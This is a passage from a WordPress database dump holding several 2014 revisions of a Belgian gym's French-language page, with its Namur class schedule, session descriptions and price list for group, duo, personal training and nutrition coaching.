nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:47:00', '2014-08-31 08:47:00', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(458, 1, '2014-08-31 08:51:39', '2014-08-31 08:51:39', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€&lt;br&gt;30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€&lt;br&gt;30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€&lt;br&gt;1 carte de 10 séances : 90.00€ (valable 6 mois)&lt;br&gt;1 carte de 20 séances : 150.00€ (valable 6 mois)&lt;br&gt;1 carte de 50 séances : 300.00€ (valable 1 an)&lt;br&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€&lt;br&gt;Séance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:51:39', '2014-08-31 08:51:39', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(462, 1, '2014-12-15 19:40:28', '2014-12-15 19:40:28', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-461\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png\&quot; width=\&quot;58\&quot; height=\&quot;17\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:40:28', '2014-12-15 19:40:28', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(460, 1, '2014-12-15 19:36:41', '2014-12-15 19:36:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td 